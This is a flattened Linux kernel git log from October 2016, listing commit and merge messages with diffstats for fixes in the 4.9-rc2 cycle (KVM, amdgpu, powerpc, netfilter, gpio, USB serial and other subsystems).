irqchip/gic-v3-its: Fix entry size mask for GITS_BASER irqchip/gic-v3-its: Fix 64bit GIC{R,ITS}_TYPER accesses commit 90e01058bc36b03c638a073cda13bc8e12f3d0f4 Merge: dcd4693 b0dddf6 Author: Linus Torvalds Date: Sat Oct 22 09:32:10 2016 -0700 Merge branch 'efi-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull EFI fixes from Ingo Molnar: "Add Ard Biesheuvel as EFI co-maintainer, plus fix an ARM build bug with older toolchains" * 'efi-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: efi/arm: Fix absolute relocation detection for older toolchains MAINTAINERS: Add myself as EFI maintainer commit 8e68c65d111a57a4cbe41dc886bb2a1e671e0b6e Author: Masahiro Yamada Date: Fri Oct 21 16:45:21 2016 +0900 arm64: dts: uniphier: change MIO node to SD control node I made a mistake bacuse the Media I/O block is not implemented in this SoC. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/uniphier-ld20.dtsi | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 1bdb60ef18655596d56b9b7268ad0bf5214e00e4 Author: Masahiro Yamada Date: Fri Oct 21 17:27:57 2016 +0900 ARM: dts: uniphier: change MIO node to SD control node I made a mistake bacuse the Media I/O block is not implemented in these SoCs. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/uniphier-pro5.dtsi | 4 ++-- arch/arm/boot/dts/uniphier-pxs2.dtsi | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 36de70ea8d237b66b9aa579a9ee0cb259eb5192d Merge: 7d3b016 126d26f Author: Greg Kroah-Hartman Date: Sat Oct 22 12:17:09 2016 +0200 Merge tag 'usb-serial-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/johan/usb-serial into usb-linus Johan writes: USB-serial fixes for v4.9-rc2 Here's a fix for a NULL-deref during probe which could be triggered by a malicious device, and a fix for some missing error handling in cp210x that also leaked some bits from the stack. Included is also a new device id for ftdi_sio. Signed-off-by: Johan Hovold commit 19eb4a47224da4bc118f1e304e16b6c08ed172c9 Author: Masahiro Yamada Date: Wed Oct 19 17:23:49 2016 +0900 reset: uniphier: rename MIO reset to SD reset for Pro5, PXs2, LD20 SoCs I made a mistake as for naming for this block. The MIO block is not implemented for these 3 SoCs in the first place. The current naming will be a trouble if an SoC with both MIO and SD-ctrl blocks appear in the future. This driver has just been merged in the previous merge window. Rename it before the release. Signed-off-by: Masahiro Yamada Acked-by: Philipp Zabel .../devicetree/bindings/reset/uniphier-reset.txt | 62 +++++++++++----------- drivers/reset/reset-uniphier.c | 16 +++--- 2 files changed, 39 insertions(+), 39 deletions(-) commit 75924903c51d0697b989035f6baebccb2a7367cd Author: Masahiro Yamada Date: Sat Oct 8 11:25:34 2016 +0900 arm64: uniphier: select ARCH_HAS_RESET_CONTROLLER The UniPhier reset driver (drivers/reset/reset-uniphier.c) has been merged. Select ARCH_HAS_RESET_CONTROLLER from the SoC Kconfig. Signed-off-by: Masahiro Yamada arch/arm64/Kconfig.platforms | 1 + 1 file changed, 1 insertion(+) commit bcf4f311e034dc661b5e641595ef1f50af27b5bf Author: Masahiro Yamada Date: Tue Sep 20 13:43:19 2016 +0900 ARM: uniphier: select ARCH_HAS_RESET_CONTROLLER The UniPhier reset driver (drivers/reset/reset-uniphier.c) has been merged. Select ARCH_HAS_RESET_CONTROLLER from the SoC Kconfig. Signed-off-by: Masahiro Yamada Acked-by: Philipp Zabel arch/arm/mach-uniphier/Kconfig | 1 + 1 file changed, 1 insertion(+) commit ff8560512b8d4b7ca3ef4fd69166634ac30b2525 Author: Ville Syrjälä Date: Sat Oct 22 05:18:04 2016 +0300 x86/boot/smp: Don't try to poke disabled/non-existent APIC Apparently trying to poke a disabled or non-existent APIC leads to a box that doesn't even boot. Let's not do that. No real clue if this is the right fix, but at least my P3 machine boots again. Signed-off-by: Ville Syrjälä Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Eric Biederman Cc: H. Peter Anvin Cc: Jiri Olsa Cc: Josh Poimboeuf Cc: Juergen Gross Cc: Len Brown Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Prarit Bhargava Cc: Thomas Gleixner Cc: Yinghai Lu Cc: dyoung@redhat.com Cc: kexec@lists.infradead.org Cc: stable@vger.kernel.org Fixes: 2a51fe083eba ("arch/x86: Handle non enumerated CPU after physical hotplug") Link: http://lkml.kernel.org/r/1477102684-5092-1-git-send-email-ville.syrjala@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/kernel/smpboot.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit dcd4693cf47801b7d988ea897519de90dfd25d17 Merge: a23b27a 78914ff Author: Linus Torvalds Date: Fri Oct 21 19:13:00 2016 -0700 Merge tag 'powerpc-4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fixes from Michael Ellerman: "Fixes marked for stable: - Prevent unlikely crash in copro_calculate_slb() (Frederic Barrat) - cxl: Prevent adapter reset if an active context exists (Vaibhav Jain) Fixes for code merged this cycle: - Fix boot on systems with uncompressed kernel image (Heiner Kallweit) - Drop dump_numa_memory_topology() (Michael Ellerman) - Fix numa topology console print (Aneesh Kumar K.V) - Ignore the pkey system calls for now (Stephen Rothwell)" * tag 'powerpc-4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc: Ignore the pkey system calls for now powerpc: Fix numa topology console print powerpc/mm: Drop dump_numa_memory_topology() cxl: Prevent adapter reset if an active context exists powerpc/boot: Fix boot on systems with uncompressed kernel image powerpc/mm: Prevent unlikely crash in copro_calculate_slb() commit a23b27ae122fdcbc7628cd31fcffafec1e09189a Merge: 02593ac 658f7c4 Author: Linus Torvalds Date: Fri Oct 21 19:09:29 2016 -0700 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM fixes from Radim Krčmář: "ARM: - avoid livelock when walking guest page tables - fix HYP mode static keys without CC_HAVE_ASM_GOTO MIPS: - fix a build error without TRACEPOINTS_ENABLED s390: - reject a malformed userspace configuration x86: - suppress a warning without CONFIG_CPU_FREQ - initialize whole irq_eoi array" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: arm/arm64: KVM: Map the BSS at HYP arm64: KVM: Take S1 walks into account when determining S2 write faults KVM: s390: reject invalid modes for runtime instrumentation kvm: x86: memset whole irq_eoi kvm/x86: Fix unused variable warning in kvm_timer_init() KVM: MIPS: Add missing uaccess.h include commit 02593ac680dfd7d8fd128936183ee5ead8ce9aa7 Merge: 43ef55d 83aa3e0 Author: Linus Torvalds Date: Fri Oct 21 19:06:59 2016 -0700 Merge tag 'nfs-for-4.9-2' of git://git.linux-nfs.org/projects/anna/linux-nfs Pull NFS client bugfixes from Anna Schumaker: "Just two bugfixes this time: Stable bugfix: - Fix last_write_offset incorrectly set to page boundary Other bugfix: - Fix missing-braces warning" * tag 'nfs-for-4.9-2' of git://git.linux-nfs.org/projects/anna/linux-nfs: nfs4: fix missing-braces warning pnfs/blocklayout: fix last_write_offset incorrectly set to page boundary commit 43ef55daa7063fbf70c0cafacf58901c0f4a8f49 Merge: 6edc51a 956c897 Author: Linus Torvalds Date: Fri Oct 21 15:54:45 2016 -0700 Merge tag 'acpi-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI fixes from Rafael Wysocki: "These fix an issue related to system resume in the new WDAT-based watchdog driver and a return value of a stub function in the ACPI CPPC framework. Specifics: - Update the ACPI WDAT-based watchdog driver to ping the hardware during system resume to prevent a reset from occurring after the resume is complete (Mika Westerberg). - Fix the return value of the pcc_mbox_request_channel() stub for CONFIG_PCC unset (Hoan Tran)" * tag 'acpi-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: watchdog: wdat_wdt: Ping the watchdog on resume mailbox: PCC: Fix return value of pcc_mbox_request_channel() commit b4a1278c78bc939b3e29c3ad21ceaa636b0ca8c8 Author: Shaohua Li Date: Thu Oct 20 14:40:06 2016 -0700 badblocks: badblocks_set/clear update unacked_exist When bandblocks_set acknowledges a range or badblocks_clear a range, it's possible all badblocks are acknowledged. We should update unacked_exist if this occurs. Signed-off-by: Shaohua Li Reviewed-by: Tomasz Majchrzak Tested-by: Tomasz Majchrzak Signed-off-by: Jens Axboe block/badblocks.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit f660f6066716b700148f60dba3461e65efff3123 Author: Sagi Grimberg Date: Mon Oct 10 15:10:51 2016 +0300 softirq: Display IRQ_POLL for irq-poll statistics This library was moved to the generic area and was renamed to irq-poll. Hence, update proc/softirqs output accordingly. Signed-off-by: Sagi Grimberg Reviewed-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe kernel/softirq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 80f23935cadb1c654e81951f5a8b7ceae0acc1b4 Author: Segher Boessenkool Date: Thu Oct 6 13:42:19 2016 +0000 powerpc: Convert cmp to cmpd in idle enter sequence PowerPC's "cmp" instruction has four operands. Normally people write "cmpw" or "cmpd" for the second cmp operand 0 or 1. But, frequently people forget, and write "cmp" with just three operands. With older binutils this is silently accepted as if this was "cmpw", while often "cmpd" is wanted. With newer binutils GAS will complain about this for 64-bit code. For 32-bit code it still silently assumes "cmpw" is what is meant. In this instance the code comes directly from ISA v2.07, including the cmp, but cmpd is correct. Backport to stable so that new toolchains can build old kernels. Fixes: 948cf67c4726 ("powerpc: Add NAP mode support on Power7 in HV mode") Cc: stable@vger.kernel.org # v3.0 Reviewed-by: Vaidyanathan Srinivasan Signed-off-by: Segher Boessenkool Signed-off-by: Michael Ellerman arch/powerpc/include/asm/cpuidle.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62623d5f918fb1c8ed86b03b9a86cc81f1cb1878 Author: Michael Ellerman Date: Thu Oct 20 13:32:55 2016 +1100 KVM: PPC: Book3S HV: Fix build error when SMP=n Commit 5d375199ea96 ("KVM: PPC: Book3S HV: Set server for passed-through interrupts") broke the SMP=n build: arch/powerpc/kvm/book3s_hv_rm_xics.c:758:2: error: implicit declaration of function 'get_hard_smp_processor_id' That is because we lost the implicit include of asm/smp.h, so include it explicitly to get the definition for get_hard_smp_processor_id(). Fixes: 5d375199ea96 ("KVM: PPC: Book3S HV: Set server for passed-through interrupts") Signed-off-by: Michael Ellerman arch/powerpc/kvm/book3s_hv_rm_xics.c | 1 + 1 file changed, 1 insertion(+) commit 956c8974da654016ec26e66322b5b221108468bf Merge: 1001354 28e3d70 d0679cf Author: Rafael J. Wysocki Date: Fri Oct 21 22:24:23 2016 +0200 Merge branches 'acpi-wdat' and 'acpi-cppc' * acpi-wdat: watchdog: wdat_wdt: Ping the watchdog on resume * acpi-cppc: mailbox: PCC: Fix return value of pcc_mbox_request_channel() commit a6c6ead14183ea4ec8ce7551e1f3451024b9c4db Author: Rafael J. Wysocki Date: Wed Oct 19 02:57:22 2016 +0200 cpufreq: intel_pstate: Set P-state upfront in performance mode After commit a4675fbc4a7a (cpufreq: intel_pstate: Replace timers with utilization update callbacks) the cpufreq governor callbacks may not be invoked on NOHZ_FULL CPUs and, in particular, switching to the "performance" policy via sysfs may not have any effect on them. That is a problem, because it usually is desirable to squeeze the last bit of performance out of those CPUs, so work around it by setting the maximum P-state (within the limits) in intel_pstate_set_policy() upfront when the policy is CPUFREQ_POLICY_PERFORMANCE. Fixes: a4675fbc4a7a (cpufreq: intel_pstate: Replace timers with utilization update callbacks) Signed-off-by: Rafael J. Wysocki Acked-by: Srinivas Pandruvada drivers/cpufreq/intel_pstate.c | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) commit a442950d4af036006757bc3da00a2cb939fb2f59 Merge: 3118dac fd5bed4 Author: Thomas Gleixner Date: Fri Oct 21 21:40:29 2016 +0200 Merge tag 'gic-fixes-for-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/maz/arm-platforms into irq/urgent Pull GIC updates from Marc Zyngier: - Fix for 32bit accesses that should be 64bit on 64bit machines - Fix for a field decoding macro - Beautify a warning message commit 6edc51a8d43b0bb8263fefaa8eb0cf62e8499978 Merge: ecd06f2 ebbb759 Author: Linus Torvalds Date: Fri Oct 21 10:57:09 2016 -0700 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "Five small fixes. Some of these, like the nested spinlock overwriting saved flags and the Kasan use after free look serious, but they seem not to have been picked up in testing or seen in the field. The biggest user visible issue is probably the wrong device handler for Clariion, which means that alua doesn't bind to the array like it should" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: ipr: Fix async error WARN_ON scsi: zfcp: spin_lock_irqsave() is not nestable scsi: Remove one useless stack variable scsi: Fix use-after-free scsi: Replace wrong device handler name for CLARiiON arrays commit ecd06f28836f9d10c92a4740b5aaf7caf4324927 Merge: e59f30b e9c9346 Author: Linus Torvalds Date: Fri Oct 21 10:54:01 2016 -0700 Merge branch 'for-linus' of git://git.kernel.dk/linux-block Pull block fixes from Jens Axboe: "A set of fixes that missed the merge window, mostly due to me being away around that time. Nothing major here, a mix of nvme cleanups and fixes, and one fix for the badblocks handling" * 'for-linus' of git://git.kernel.dk/linux-block: nvmet: use symbolic constants for CNS values nvme: use symbolic constants for CNS values nvme.h: add an enum for cns values nvme.h: don't use uuid_be nvme.h: resync with nvme-cli nvme: Add tertiary number to NVME_VS nvme : Add sysfs entry for NVMe CMBs when appropriate nvme: don't schedule multiple resets nvme: Delete created IO queues on reset nvme: Stop probing a removed device badblocks: fix overlapping check for clearing commit e59f30b417499414a1f9afaaad3a42937060832f Merge: ec366cd 02a1b8f Author: Linus Torvalds Date: Fri Oct 21 10:48:58 2016 -0700 Merge tag 'pci-v4.9-fixes-1' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci Pull PCI fixes from Bjorn Helgaas: "This includes: - Fix for a Layerscape driver issue that causes a use-before-set crash - Maintainer update for the Synopsis prototyping device driver" * tag 'pci-v4.9-fixes-1' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: PCI: designware-plat: Update author email address PCI: layerscape: Fix drvdata usage before assignment PCI: designware-plat: Change maintainer to Jose Abreu commit 658f7c4bb714740366b6d6ab1d88ba1b774a97fc Merge: 3633031 c8ea039 Author: Radim Krčmář Date: Fri Oct 21 18:49:53 2016 +0200 Merge tag 'kvm-arm-for-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/kvmarm/kvmarm KVM/ARM updates for 4.9-rc2 - Handle faults generated by the page table walker as being writes - Map the BSS at EL2 commit 602432c150251f20fb4a41a5a6463b91e3d19053 Merge: ebbb759 77f18a8 Author: James Bottomley Date: Fri Oct 21 12:40:02 2016 -0400 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit c8ea0395ff3bd5f0fd3c3aa69b383b2d1231e9fd Author: Marc Zyngier Date: Thu Oct 20 10:17:21 2016 +0100 arm/arm64: KVM: Map the BSS at HYP When used with a compiler that doesn't implement "asm goto" (such as the AArch64 port of GCC 4.8), jump labels generate a memory access to find out about the value of the key (instead of just patching the code). The key itself is likely to be stored in the BSS. This is perfectly fine, except that we don't map the BSS at HYP, leading to an exploding kernel at the first access. The obvious fix is simply to map the BSS there (which should have been done a long while ago, but hey...). Reported-by: Eric Auger Tested-by: Eric Auger Signed-off-by: Marc Zyngier arch/arm/kvm/arm.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 60e21a0ef54cd836b9eb22c7cb396989b5b11648 Author: Will Deacon Date: Thu Sep 29 12:37:01 2016 +0100 arm64: KVM: Take S1 walks into account when determining S2 write faults The WnR bit in the HSR/ESR_EL2 indicates whether a data abort was generated by a read or a write instruction. For stage 2 data aborts generated by a stage 1 translation table walk (i.e. the actual page table access faults at EL2), the WnR bit therefore reports whether the instruction generating the walk was a load or a store, *not* whether the page table walker was reading or writing the entry. For page tables marked as read-only at stage 2 (e.g. due to KSM merging them with the tables from another guest), this could result in livelock, where a page table walk generated by a load instruction attempts to set the access flag in the stage 1 descriptor, but fails to trigger CoW in the host since only a read fault is reported. This patch modifies the arm64 kvm_vcpu_dabt_iswrite function to take into account stage 2 faults in stage 1 walks. Since DBM cannot be disabled at EL2 for CPUs that implement it, we assume that these faults are always causes by writes, avoiding the livelock situation at the expense of occasional, spurious CoWs. We could, in theory, do a bit better by checking the guest TCR configuration and inspecting the page table to see why the PTE faulted. However, I doubt this is measurable in practice, and the threat of livelock is real. Cc: Cc: Julien Grall Reviewed-by: Marc Zyngier Reviewed-by: Christoffer Dall Signed-off-by: Will Deacon arch/arm64/include/asm/kvm_emulate.h | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit ec366cd195d0f3dcfb851b5574901c0dbc51b75a Merge: 6f33d645 26beaee Author: Linus Torvalds Date: Fri Oct 21 09:14:35 2016 -0700 Merge tag 'drm-fixes-for-v4.9-rc2-part2' of git://people.freedesktop.org/~airlied/linux Pull more drm fixes from Dave Airlie: "Mainly some vmwgfx fixes, but also some fixes for armada, etnaviv and fsl-dcu" * tag 'drm-fixes-for-v4.9-rc2-part2' of git://people.freedesktop.org/~airlied/linux: drm/fsl-dcu: enable pixel clock when enabling CRTC drm/fsl-dcu: do not transfer registers in mode_set_nofb drm/fsl-dcu: do not transfer registers on plane init drm/fsl-dcu: enable TCON bypass mode by default drm/vmwgfx: Adjust checks for null pointers in 13 functions drm/vmwgfx: Use memdup_user() rather than duplicating its implementation drm/vmwgfx: Use kmalloc_array() in vmw_surface_define_ioctl() drm/vmwgfx: Avoid validating views on view destruction drm/vmwgfx: Limit the user-space command buffer size drm/vmwgfx: Remove a leftover debug printout drm/vmwgfx: Allow resource relocations on byte boundaries drm/vmwgfx: Enable SVGA_3D_CMD_DX_TRANSFER_FROM_BUFFER command drm/vmwgfx: Remove call to reservation_object_test_signaled_rcu before wait drm/vmwgfx: Replace numeric parameter like 0444 with macro drm/etnaviv: block 64K of address space behind each cmdstream drm/etnaviv: ensure write caches are flushed at end of user cmdstream drm/armada: fix clock counts commit 8651be8f14a12d24f203f283601d9b0418c389ff Author: WANG Cong Date: Wed Oct 19 23:35:12 2016 -0700 ipv6: fix a potential deadlock in do_ipv6_setsockopt() Baozeng reported this deadlock case: CPU0 CPU1 ---- ---- lock([ 165.136033] sk_lock-AF_INET6); lock([ 165.136033] rtnl_mutex); lock([ 165.136033] sk_lock-AF_INET6); lock([ 165.136033] rtnl_mutex); Similar to commit 87e9f0315952 ("ipv4: fix a potential deadlock in mcast getsockopt() path") this is due to we still have a case, ipv6_sock_mc_close(), where we acquire sk_lock before rtnl_lock. Close this deadlock with the similar solution, that is always acquire rtnl lock first. Fixes: baf606d9c9b1 ("ipv4,ipv6: grab rtnl before locking the socket") Reported-by: Baozeng Ding Tested-by: Baozeng Ding Cc: Marcelo Ricardo Leitner Signed-off-by: Cong Wang Reviewed-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller include/net/addrconf.h | 1 + net/ipv6/ipv6_sockglue.c | 3 ++- net/ipv6/mcast.c | 17 ++++++++++++----- 3 files changed, 15 insertions(+), 6 deletions(-) commit 8861a8209782faffedb6d64572fa968ee9c1c375 Author: Grazvydas Ignotas Date: Thu Oct 20 15:51:25 2016 +0800 drm/amd/powerplay: don't give up if DPM is already running Currently the driver crashes if smu7_enable_dpm_tasks() returns early, which it does if DPM is already active. It seems to be better just to continue anyway, at least I haven't noticed any ill effects. It's also unclear at what state the hardware was left by the previous driver, so IMO it's better to always fully initialize. Way to reproduce: with GPU passthrough. forced power off the VM or forced reset the VM without shutting down the Os. Signed-off-by: Grazvydas Ignotas Reviewed-by: Edward O'Callaghan Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 51585e03f5b26521d7840c06f4807ee62b23af3a Author: Rex Zhu Date: Mon Oct 17 18:15:26 2016 +0800 drm/amd/powerplay: fix static checker warning in process_pptables_v1_0.c Signed-off-by: Rex Zhu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/process_pptables_v1_0.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 57d7f9b64ad9d4d9c87ed1d6b58e5bfabf2dfc6c Author: jimqu Date: Thu Oct 20 14:58:04 2016 +0800 drm/amdgpu: avoid drm error log during S3 on RHEL7.3 Signed-off-by: JimQu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e6b2a7d294360ecf128891d8288603526ce4d6ad Author: Alex Deucher Date: Wed Oct 19 13:06:14 2016 -0400 drm/amdgpu: explicitly set pg_flags for ST No need to retain previous settings as this is the first time we set pg_flags. Probably a copy/paste typo from the CZ code. Avoids confusion. No change in behavior as adev is kzallocated. Reviewed-by: Tom St Denis Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0711257ee6d1e8bec08fdf26021f968d4d041e91 Author: Alex Deucher Date: Tue Oct 18 00:32:00 2016 -0400 drm/amdgpu/st: move ATC CG golden init from gfx to mc It's technically an MC register so make sure we initialize it in the MC module rather than the gfx module. Since other bits in the same register are used to enable ATC CG features make sure we apply the golden setting first. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 1 - drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) commit 1304f0c7ddd80b359282bb2077c8a7bc51f06c3a Author: Evan Quan Date: Mon Oct 17 09:49:29 2016 +0800 drm/amd/amdgpu: expose max engine and memory clock for powerplay enabled case Signed-off-by: Evan Quan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e695e77c6b49c49e5eafdc6239d6b22bfa30c7cc Author: Alex Deucher Date: Wed Oct 19 14:40:58 2016 -0400 drm/amdgpu: move atom scratch register save/restore to common code We need this for more than just DCE. Move it out of the DCE modules and into the device code. This way we can be sure the scratch registers are initialized properly before we run asic_init which happens before DCE IPs are restored. Fixes atombios hangs in asic_init. Reviewed-by: JimQu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 5 ++++- drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 6 ------ drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 6 ------ drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 6 ------ drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 6 ------ 5 files changed, 4 insertions(+), 25 deletions(-) commit 08e23a02e3e2dd6dde0f2f5bb90d03f5bc2a5804 Author: Alex Deucher Date: Thu Oct 6 11:25:25 2016 -0400 drm/amdgpu: drop atom scratch save/restore in gpu reset This is already handled by the dce IP modules in their suspend and resume code. No need to do it again. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 4 ---- 1 file changed, 4 deletions(-) commit fb9a5b0c1c9893db2e0d18544fd49e19d784a87d Author: Tom St Denis Date: Thu Oct 13 12:38:07 2016 -0400 drm/radeon/si_dpm: Limit clocks on HD86xx part Limit clocks on a specific HD86xx part to avoid crashes (while awaiting an appropriate PP fix). Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/si_dpm.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 77f7f71f5be1087823296f2dd8114ff7246ae877 Author: Alex Deucher Date: Fri Oct 14 11:11:06 2016 -0400 drm/amdgpu/powerplay/smu7: fix static checker warning Casting of voltage values to a larger size results in overwriting adjacent memory in the structure. Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 02a1b8f4167eac709d269341f7c3c340984c28a6 Author: Joao Pinto Date: Fri Oct 21 10:31:48 2016 +0100 PCI: designware-plat: Update author email address Although I am leaving Synopsys, I would like to keep working with the linux kernel community and help in what you might find useful. For that I am sending this patch to change my contact e-mail. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 126d26f66d9890a69158812a6caa248c05359daa Author: Johan Hovold Date: Fri Oct 21 12:56:27 2016 +0200 USB: serial: fix potential NULL-dereference at probe Make sure we have at least one port before attempting to register a console. Currently, at least one driver binds to a "dummy" interface and requests zero ports for it. Should such an interface also lack endpoints, we get a NULL-deref during probe. Fixes: e5b1e2062e05 ("USB: serial: make minor allocation dynamic") Cc: stable # 3.11 Signed-off-by: Johan Hovold drivers/usb/serial/usb-serial.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8dbad1a81128f7e224fce3cce28a1d545d9c0b88 Merge: 97dcaa0 7034b56 Author: David S. Miller Date: Fri Oct 21 10:25:22 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf Pablo Neira Ayuso says: ==================== Netfilter fixes for net The following patchset contains Netfilter fixes for your net tree, they are: 1) Fix compilation warning in xt_hashlimit on m68k 32-bits, from Geert Uytterhoeven. 2) Fix wrong timeout in set elements added from packet path via nft_dynset, from Anders K. Pedersen. 3) Remove obsolete nf_conntrack_events_retry_timeout sysctl documentation, from Nicolas Dichtel. 4) Ensure proper initialization of log flags via xt_LOG, from Liping Zhang. 5) Missing alias to autoload ipcomp, also from Liping Zhang. 6) Missing NFTA_HASH_OFFSET attribute validation, again from Liping. 7) Wrong integer type in the new nft_parse_u32_check() function, from Dan Carpenter. 8) Another wrong integer type declaration in nft_exthdr_init, also from Dan Carpenter. 9) Fix insufficient mode validation in nft_range. 10) Fix compilation warning in nft_range due to possible uninitialized value, from Arnd Bergmann. 11) Zero nf_hook_ops allocated via xt_hook_alloc() in x_tables to calm down kmemcheck, from Florian Westphal. 12) Schedule gc_worker() to run again if GC_MAX_EVICTS quota is reached, from Nicolas Dichtel. 13) Fix nf_queue() after conversion to single-linked hook list, related to incorrect bypass flag handling and incorrect hook point of reinjection. ==================== Signed-off-by: David S. Miller commit 6a34e0e6b49f50d2626c15ed75b76031f12bd637 Author: Scott Wood Date: Thu Sep 22 03:35:16 2016 -0500 arm64: dts: Add timer erratum property for LS2080A and LS1043A Both the LS1043A and LS2080A platforms are affected by the Freescale A008585 erratum. Advertise it in their respective device trees. Signed-off-by: Scott Wood Acked-by: Marc Zyngier Signed-off-by: Shawn Guo arch/arm64/boot/dts/freescale/fsl-ls1043a.dtsi | 1 + arch/arm64/boot/dts/freescale/fsl-ls2080a.dtsi | 1 + 2 files changed, 2 insertions(+) commit 91f1551a746f62937957fa1bff4165e1b7a45337 Author: Javier Martinez Canillas Date: Tue Oct 18 17:44:02 2016 -0300 gpio: ts4800: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/gpio/gpio-ts4800.ko | grep alias $ After this patch: $ modinfo drivers/gpio/gpio-ts4800.ko | grep alias alias: of:N*T*Ctechnologic,ts4800-gpioC* alias: of:N*T*Ctechnologic,ts4800-gpio Signed-off-by: Javier Martinez Canillas Signed-off-by: Linus Walleij drivers/gpio/gpio-ts4800.c | 1 + 1 file changed, 1 insertion(+) commit ac7dbb991ee5afc0beacce3a252dcaaa249a7786 Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:06 2016 +0200 gpio: GPIO_GET_LINEEVENT_IOCTL: Reject invalid line and event flags The GPIO_GET_LINEEVENT_IOCTL currently ignores unknown or undefined linehandle and lineevent flags. From a backwards and forwards compatibility viewpoint it is highly desirable to reject unknown flags though. On one hand an application that is using newer flags and is running on an older kernel has no way to detect if the new flags were handled correctly if they are silently discarded. On the other hand an application that (accidentally) passes undefined flags will run fine on an older kernel, but may break on a newer kernel when these flags get defined. Ensure that requests that have undefined flags set are rejected with an error, rather than silently discarding the undefined flags. Cc: stable@vger.kernel.org Fixes: 61f922db7221 ("gpio: userspace ABI for reading GPIO line events") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit e3e847c7f15a27c80f526b2a7a8d4dd7ce0960a0 Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:05 2016 +0200 gpio: GPIO_GET_LINEHANDLE_IOCTL: Reject invalid line flags The GPIO_GET_LINEHANDLE_IOCTL currently ignores unknown or undefined linehandle flags. From a backwards and forwards compatibility viewpoint it is highly desirable to reject unknown flags though. On one hand an application that is using newer flags and is running on an older kernel has no way to detect if the new flags were handled correctly if they are silently discarded. On the other hand an application that (accidentally) passes undefined flags will run fine on an older kernel, but may break on a newer kernel when these flags get defined. Ensure that requests that have undefined flags set are rejected with an error, rather than silently discarding the undefined flags. Cc: stable@vger.kernel.org Fixes: d7c51b47ac11 ("gpio: userspace ABI for reading/writing GPIO 